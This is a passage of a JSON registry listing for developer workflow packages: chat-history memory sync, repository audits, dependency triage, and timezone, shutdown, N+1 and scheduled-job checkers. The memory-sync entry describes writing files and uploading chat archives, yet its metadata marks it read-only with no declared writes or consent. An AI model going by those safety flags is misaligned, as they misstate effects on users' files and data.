false)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8aebbd8526552037cd9d4ae2afbb23484874abd6dedd31dd62f90c757170caa9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/claude-memory-sync@0.7.0","reference":"dezloper/claude-memory-sync@0.7.0","uri":"https://play.modiqo.ai/dezloper/claude-memory-sync@0.7.0","manifest_uri":"https://play.modiqo.ai/dezloper/claude-memory-sync@0.7.0","name":"claude-memory-sync","title":"claude-memory-sync","description":"Never re-explain your project to Claude again. Reads through your Claude Code chat history and asks you upfront how you want it handled, then writes it down. First it asks which project (a folder path, or 'all' to sweep every project you've ever chatted about on this machine). Then it asks memory_scope: preview (write nothing, just show you), project (append AI-distilled notes to that project's own CLAUDE.md), or project-and-global (also save general know-how -- research, how something actually works -- as a reusable skill any future chat on any project can pull up with /skill-name). Separately, it asks chat_archive: none, single-folder (every project's raw, cleaned chat prompts in one shared folder, one file per project), or per-project-folders (each project gets its own subfolder) -- this is a real backup of what you actually typed, not an AI summary. It always also asks storage_location: local (a folder on disk -- storage_folder lets you choose where, defaulting to ~/Desktop/claude-memory-sessions), supermemory (pushed to api.supermemory.ai instead, using supermemory_key), or both (does both at once); this answer is simply ignored when chat_archive is none. It also always asks for a Supermemory API key up front (supermemory_key) so you are never left guessing whether it will be used -- leave it blank if you are not using Supermemory at all, nothing is pushed without one. The archive folder name is always the same across runs -- running this 50 times never creates 50 folders, it just appends whatever is genuinely new. Run it again later and it only looks at chat since the last time it ran, for both the AI notes and the raw archive, and never repeats what is already written down. Examples: `rote play run claude-memory-sync root=all memory_scope=preview chat_archive=none storage_location=local supermemory_key=` previews every project, writes nothing; `rote play run claude-memory-sync root=./my-app memory_scope=project-and-global chat_archive=per-project-folders storage_location=local supermemory_key=` writes this project's notes and skills and archives its raw chats to their own folder, local only. Pass a real Supermemory API key for supermemory_key (with storage_location of supermemory or both) to also back a copy of each project's notes -- and, if chosen, its raw chat archive -- up to supermemory.ai, so the memory survives even if you lose this machine or this AI account.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-gated-write","job-memory-consolidation"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.7.0","published_at":"2026-09-06T10:53:18.49413+00:00","visibility":"public","quality_score":1,"size_bytes":22664,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["sweep"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Which project to remember. Give a folder path (e.g. ./my-app) to scope everything to just that one project, or type 'all' to sweep every Claude Code project you've ever chatted about on this machine. Genuinely free text, not an enum -- ask it as a plain text question, separate from any multiple-choice list you build for the other parameters.","example":"all"},{"name":"memory_scope","type":"string","required":true,"description":"How far to write the AI-distilled memory. One of: preview (show what would be remembered, write nothing), project (append new notes to each project's own CLAUDE.md only), project-and-global (also save general know-how as a reusable skill under ~/.claude/skills, usable from any future project). This is a fixed enum (see valid_values) -- when asking the user, present it as a selectable multiple-choice list they pick with arrow keys, never as a free-text question.","values":["preview","project","project-and-global"],"example":"project"},{"name":"chat_archive","type":"string","required":true,"description":"Whether to also keep a raw backup of what you actually typed (cleaned, not AI-summarized), separate from the distilled notes above. One of: none (skip this entirely), single-folder (every project's archive lives in one shared folder, one file per project), per-project-folders (each project gets its own subfolder). The target folder is always the same across runs -- it is never recreated or duplicated, only appended to. This is a fixed enum (see valid_values) -- when asking the user, present it as a selectable multiple-choice list they pick with arrow keys, never as a free-text question.","values":["none","single-folder","per-project-folders"],"example":"none"},{"name":"storage_location","type":"string","required":true,"description":"Only matters when chat_archive is not 'none' -- ignored otherwise. Where to keep the raw chat archive. One of: local (a folder on this machine; see storage_folder), supermemory (pushed to api.supermemory.ai using supermemory_key), both (writes the local folder AND pushes to supermemory). This is a fixed enum (see valid_values) -- when asking the user, present it as a selectable multiple-choice list they pick with arrow keys, never as a free-text question.","values":["local","supermemory","both"],"example":"local"},{"name":"storage_folder","type":"string","required":false,"default":"","description":"Only consulted when chat_archive is not 'none' and storage_location is 'local'. Folder to store the raw chat archive in. Leave blank to use the default of ~/Desktop/claude-memory-sessions."},{"name":"skills_dir","type":"string","required":false,"default":"","description":"Override where global skills are read from and written to. Defaults to ~/.claude/skills."},{"name":"supermemory_key","type":"string","required":true,"description":"Supermemory API key, shared by both features. Leave blank if storage_location is 'local' and you are not pushing project notes to Supermemory either -- nothing happens without a key. When set, memory_scope=project(-and-global) pushes each project's new distilled notes to api.supermemory.ai, and storage_location=supermemory or both pushes the raw chat archive there too -- each tagged distinctly by project. Genuinely free text, not an enum -- ask it as its own plain text question, separate from any multiple-choice list you build for the other parameters."},{"name":"session_char_budget","type":"string","required":false,"default":"60000","description":"How much recent session text to read per project, most recent first. Only limits the AI-distilled notes, not the raw chat archive (which is never truncated)."},{"name":"timeout_seconds","type":"string","required":false,"default":"300","description":"Wall-clock budget for the assistant to draft updates for a SINGLE project. The whole sweep can take projects_discovered times this long."},{"name":"state_file","type":"string","required":false,"default":"","description":"Override where the incremental per-project watermark is stored. Defaults to ~/.claude/memory-consolidate-state.json. Shared by both the distilled notes and the raw chat archive, so they always agree on what's \"new since last run\"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7aff30087472db92217bb65d27f345e279d6f4a2301e41cfba269f5df5b413f3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/shipcheck@0.2.0","reference":"shambhavi/shipcheck@0.2.0","uri":"https://play.modiqo.ai/shambhavi/shipcheck@0.2.0","manifest_uri":"https://play.modiqo.ai/shambhavi/shipcheck@0.2.0","name":"shipcheck","title":"shipcheck","description":"Audits a software repository and produces a concise, evidence-backed production-readiness report. It inspects repository structure, README and documentation, dependency/runtime requirements, environment/configuration requirements, authentication and security-sensitive implementation, tests and CI, and build/deployment configuration. It does not modify the repository.\n","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["production-readiness","repository-audit","security","ci","deployment","developer-tools"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.2.0","published_at":"2026-09-06T08:13:57.836599+00:00","visibility":"public","quality_score":1,"size_bytes":2962,"license":"MIT","stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["audit_repo"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute or relative path to the repository to audit."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41d3fc3faf4f4bfe9f4da01d2594fe18005b06ce8ac270672864c1a969220581","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adityagaur/upgrade-impact-triage@0.1.3","reference":"adityagaur/upgrade-impact-triage@0.1.3","uri":"https://play.modiqo.ai/adityagaur/upgrade-impact-triage@0.1.3","manifest_uri":"https://play.modiqo.ai/adityagaur/upgrade-impact-triage@0.1.3","name":"upgrade-impact-triage","title":"upgrade-impact-triage","description":"Of your outdated dependencies, which ones ship breaking changes in code you actually import? Reads every manifest under root, resolves current versus latest from npm, PyPI or crates.io, reads the GitHub release notes between the two, and finds the files and line numbers that import each package. Ranks each dependency ACT (breaking changes, and you call it directly), REVIEW (you call it, but the notes could not be read), SAFE (transitive, or the notes were read and were clean) or CURRENT. An unreadable changelog reports as REVIEW and never as SAFE, so a rate-limited or offline run produces more rows to check by hand and never fewer warnings. Standard library Python only; GITHUB_TOKEN is optional and raises the API rate limit.","owner":{"kind":"user","slug":"adityagaur"},"registry_organization":"adityagaur","tags":["domain-software-development","software-development","job-dependency-upgrade","tool-package-registry","tool-github","effect-read-only"],"primary_domain":"domain-software-development","author":"adityagaur","version":"0.1.3","published_at":"2026-09-06T07:27:20.750351+00:00","visibility":"public","quality_score":0.875,"size_bytes":20214,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":5,"names":["rank_verdict","read_changelogs","locate_callsites","resolve_versions","find_dependencies"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Path to the project to triage; defaults to the current directory","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:332ceaf4599aa3394f36ab16b0a126e92361533336739bd135a76d834f195a36","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nishitbaria/aeo-ready@1.2.1","reference":"nishitbaria/aeo-ready@1.2.1","uri":"https://play.modiqo.ai/nishitbaria/aeo-ready@1.2.1","manifest_uri":"https://play.modiqo.ai/nishitbaria/aeo-ready@1.2.1","name":"aeo-ready","title":"aeo-ready","description":"Measures whether a website is the answer when a buyer asks ChatGPT, Claude or Gemini a category question. Asks the real questions through the agent CLI you already have signed in (brand name withheld), records who gets named and which pages get cited, checks whether your own pages have the shape answer engines extract from, and writes a report plus a paste-ready fix prompt with one page brief per lost question. Default run is 8 questions x 3 repetitions, 5 to 8 minutes and about 3 USD on your own CLI plan; engine=none skips the live queries and finishes in seconds.","owner":{"kind":"user","slug":"nishitbaria"},"registry_organization":"nishitbaria","tags":[],"primary_domain":"domain-uncategorized","author":"nishitbaria","version":"1.2.1","published_at":"2026-09-06T06:02:24.688948+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":138616,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":21,"names":["score_aeo","pick_pages","ask_engines","fetch_pages","render_html","agent_review","fetch_robots","fetch_sitemap","fetch_winners","normalize_url","profile_brand","fetch_homepage","analyze_winners","build_questions","collect_outputs","extract_signals","resolve_sitemap","find_answer_gaps","open_html_report","render_fix_prompt","analyze_answerability"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Origin to audit, scheme included and no trailing slash (e.g. https://example.com)."},{"name":"questions","type":"string","required":false,"default":"","description":"Optional pipe-separated list of buyer questions to ask instead of the generated set. The brand name is still not allowed inside any question."},{"name":"reps","type":"string","required":false,"default":"3","description":"How many times each question is asked. Counts in the report are out of questions x reps."},{"name":"max_questions","type":"string","required":false,"default":"8","description":"Upper bound on generated questions."},{"name":"engine","type":"string","required":false,"default":"agent","description":"Agent CLI used to ask the questions with web search on. 'agent' tries claude, then codex, then gemini (whichever is installed and signed in). 'none' skips the live queries and the report carries the answerability half only. No API key is ever used."},{"name":"writer","type":"string","required":false,"default":"agent","description":"Agent CLI for the narrative review step. Same values as engine. 'none' skips it."},{"name":"html_report","type":"string","required":false,"default":"true","description":"Set to false to skip the HTML report. The markdown report and the fix prompt are always written."},{"name":"open_report","type":"string","required":false,"default":"false","description":"Set to true to open the HTML report in your default browser when the run finishes (macOS and Linux)."},{"name":"user_agent","type":"string","required":false,"default":"Mozilla/5.0 (compatible; AIVisibilityAudit/1.0)","description":"User-Agent sent with every read-only fetch."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Absolute directory to write the deliverables into (the HTML report, report.md, aeo-fix-prompt.md and the JSON evidence). Created if missing. Empty means keep them in the run workspace only."},{"name":"request_timeout_seconds","type":"string","required":false,"default":"25","description":"Per-request curl --max-time budget, in seconds."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d0d857ba05643df936c826471171e7246007790a0706bd10b88cbaf193e333ec","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":21,"kinds":{"api":0,"shell":21,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":18,"width":3,"fan_out":0,"for_each_steps":0,"complexity":21,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":18},{"name":"curl","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/abhay-codes07/eol-radar@0.1.7","reference":"abhay-codes07/eol-radar@0.1.7","uri":"https://play.modiqo.ai/abhay-codes07/eol-radar@0.1.7","manifest_uri":"https://play.modiqo.ai/abhay-codes07/eol-radar@0.1.7","name":"eol-radar","title":"eol-radar","description":"One job: what in this repository stops working, and on what date. Reads runtime pins, base images, CI runners and actions (resolved to the Node runtime their action.yml really declares, so SHA pins are caught), cloud runtimes and packages, then prints everything with a death date, soonest first, with the exact version to move to. Outdated is not the same as dead: this is about dates a platform enforces, not the newest release. Read-only, no credentials; the whole scanner ships inside this package and nothing is fetched at run time. root must be an absolute path: a step runs inside rote's workspace, not your shell.","owner":{"kind":"user","slug":"abhay-codes07"},"registry_organization":"abhay-codes07","tags":["end-of-life","eol","deprecation","lifecycle","github-actions","node20","docker","lambda","dependencies","effect-read-only","domain-devops","job-lifecycle-audit"],"primary_domain":"domain-devops","author":"abhay-codes07","version":"0.1.7","published_at":"2026-09-06T01:30:20.440521+00:00","visibility":"public","quality_score":1,"size_bytes":60411,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["gate","join","resolve","scan_ci","scan_cloud","scan_packages","scan_runtimes","scan_containers"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path of the repository to scan, for example /home/you/project. A relative path such as . is refused: a step runs inside the rote workspace, not in your shell, so it would scan the wrong directory."},{"name":"horizon_days","type":"string","required":false,"default":"90","description":"Anything that loses support or is blocked by its platform within this many days counts as dying."},{"name":"max_packages","type":"string","required":false,"default":"300","description":"Cap on package versions queried against deps.dev and npm; direct dependencies come first."},{"name":"fail_on","type":"string","required":false,"default":"none","description":"none, dying or dead. The gate step fails the run when a finding of that severity exists, for use as a CI gate; the report is rendered either way."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ac307a3799863b802ae1d6672278ecc678328c4d8992583e5a62af61110fd3f4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":5,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/timezone-hazards@1.2.4","reference":"lgoyal6/timezone-hazards@1.2.4","uri":"https://play.modiqo.ai/lgoyal6/timezone-hazards@1.2.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/timezone-hazards@1.2.4","name":"timezone-hazards","title":"timezone-hazards","description":"Timezone bugs do not fail in CI. They fail in October when the clocks change, or for one user in Auckland, or for the one report that lands on the wrong day. This finds where a codebase handles time in a way that will be wrong for somebody: a naive datetime compared with an aware one, which raises TypeError and is a latent crash rather than a style issue; utcnow(), which returns a naive value that merely happens to hold UTC; a timestamp column with no timezone in SQL, SQLAlchemy, Prisma or Drizzle; day arithmetic that assumes a fixed 86400 seconds where a calendar day is meant; a calendar date derived with no zone stated, which is how a report lands on the wrong day. Comments and string bodies are blanked by a language-aware lexer, but a short format string survives into a second buffer, because `%Y-%m-%d` and `%Y-%m-%d %H:%M %Z` are the same call and opposite verdicts. Duration measurement, epoch integers and explicitly zoned conversions are excluded and counted. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-reliability-audit","tool-static-analysis","effect-read-only","timezone-bugs","naive-datetime","aware-datetime","utcnow","timestamp-without-timezone","dst","daylight-saving","timedelta-days","off-by-one-day","date-arithmetic","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.2.4","published_at":"2026-09-06T01:02:26.210649+00:00","visibility":"public","quality_score":1,"size_bytes":32702,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose date and time handling should be audited. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source and schema files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0272fbd05fb44398b2105aec24b85e9964b535b1c6cec678cfa8c51360bc5f95","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/shutdown-safety@0.3.4","reference":"lgoyal6/shutdown-safety@0.3.4","uri":"https://play.modiqo.ai/lgoyal6/shutdown-safety@0.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/shutdown-safety@0.3.4","name":"shutdown-safety","title":"shutdown-safety","description":"Every rolling deploy sends SIGTERM. A process that ignores it keeps running until SIGKILL arrives, so whatever was in flight is gone - the half-written response, the queue message already deleted, the row half inserted - and it looks completely healthy in every test. This finds whether a service will lose work when the orchestrator stops it: a long-running server or worker with no signal handler at all; a handler that calls os._exit or process.exit instead of draining, which is worse than none because it makes the problem look solved; an HTTP server with no shutdown path anywhere, including `http.ListenAndServe` and Flask's `app.run`, which expose no shutdown API; a consumer loop whose only exit is a kill; a Dockerfile whose CMD is shell form, so PID 1 is sh and the signal never reaches the process; and a grace period shorter than the code's own drain deadline. Python, Go, JS/TS, Dockerfiles and Kubernetes workloads. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","job-reliability-audit","tool-static-analysis","effect-read-only","graceful-shutdown","sigterm","sigkill","signal-handler","in-flight-requests","queue-consumer","rolling-deploy","drain","pid-1","shell-form-entrypoint","terminationgraceperiodseconds","lost-work","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.4","published_at":"2026-09-06T01:01:51.522386+00:00","visibility":"public","quality_score":1,"size_bytes":39212,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose long-running services should be checked for graceful shutdown. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for services, Dockerfiles and manifests","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f6e97e58fc144a930d47adbe18f113c5314a0aaa8abd81957ec6e2e2e88e9faa","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/query-in-loop@1.2.4","reference":"lgoyal6/query-in-loop@1.2.4","uri":"https://play.modiqo.ai/lgoyal6/query-in-loop@1.2.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/query-in-loop@1.2.4","name":"query-in-loop","title":"query-in-loop","description":"The N+1 query never shows up on a dev machine with ten rows, so it survives review and arrives in production as a page that takes nine seconds. This finds where a codebase issues a query, or any other call that leaves the process, once per item of a collection it already has. Four tiers, because they are four different conversations: a database query inside a loop body; an HTTP or remote SDK call in the same place; an ORM relationship lazy load, which is the version people cannot see; and a sequential await over an array in JS/TS, kept separate because that is latency rather than call count and Promise.all fixes it. Nine correct patterns are recognised, counted and never reported. The first matters more than the rest together: a chunking or pagination loop IS the fix for N+1, and flagging it would be exactly backwards. Every finding names both the call line and the enclosing loop line. Python, JS/TS, Go, Java and Kotlin. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","performance-workflows","job-n-plus-one-audit","tool-static-analysis","effect-read-only","n-plus-one","query-in-a-loop","lazy-load","eager-loading","orm-performance","http-call-in-loop","sequential-await","slow-page","database-roundtrips","prisma","sqlalchemy","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.2.4","published_at":"2026-09-06T01:01:05.539114+00:00","visibility":"public","quality_score":1,"size_bytes":45481,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose sources should be audited for a query or remote call issued once per item. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2f8e1330dc68c8183c9afc85dbb5fd5edb91f9e7f116d8a156beeac97b9219a1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/first-run-reality@0.1.3","reference":"lgoyal6/first-run-reality@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/first-run-reality@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/first-run-reality@0.1.3","name":"first-run-reality","title":"first-run-reality","description":"A new contributor follows your setup instructions and step one fails. You never hear about it; they just leave. This checks every step of the stated first run against the repository as it exists now, using only facts the repository can prove about itself. A README promising Node.js >= 22 while the committed .nvmrc pins 24.18.0 is a contradiction the repository settles on its own, and both cannot be right. Six contradictions, ranked by what each costs a newcomer, starting with a documented command whose entrypoint the repository is supposed to provide and does not - a make target no rule defines, an npm script absent from package.json, a `cp .env.example .env` with no .env.example committed. Every non-instruction is excluded WITH ITS REASON AND COUNTED, because a clean report produced by failing to parse anything is the worst outcome. It EXECUTES NOTHING: entrypoints are resolved by reading manifests and the file tree, not even with --version. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-onboarding-audit","tool-markdown","tool-make","effect-read-only","onboarding","setup-instructions","contributing","getting-started","fresh-clone","broken-make-target","missing-script","node-version-mismatch","nvmrc","contributor-experience","documentation-drift","audience-maintainers","audience-oss-contributors","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:05.175992+00:00","visibility":"public","quality_score":1,"size_bytes":67808,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for repositories that publish setup instructions. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell's directory and a relative root would scan rote's workspace and report a confident clean about a tree nobody asked about.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for repositories","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print per severity section before the rest are summarised as a count","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:45c3994d01debb45cbc3b67c91ff18621c33bc511cb3f9822dbe69d306aaaa5e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/automation-reality@0.2.3","reference":"lgoyal6/automation-reality@0.2.3","uri":"https://play.modiqo.ai/lgoyal6/automation-reality@0.2.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/automation-reality@0.2.3","name":"automation-reality","title":"automation-reality","description":"A scheduled job that exits 0 is not a job that worked. This asks, for every recurring automation on this machine, whether the work is still actually happening. It reconciles the DECLARED schedule against OBSERVED reality across launchd, the crontab, and scheduled GitHub Actions in the repositories on this disk. Ranked by consequence. An automation that has silently stopped is critical, because you believe it is running. A scheduled workflow in a repository with no commit for 60 days is high, because GitHub disables those quietly and tells nobody. A job with no output path is medium, and only after looking for the job's OWN run store first - a sqlite ledger, a JSONL run log, a stamp file - because grading it unobservable from the plist alone would be this play's thesis failing one level down. A sqlite store is opened read-only and immutable, so a live database is never locked. Read-only: nothing is loaded, unloaded, enabled or triggered. No network. Needs 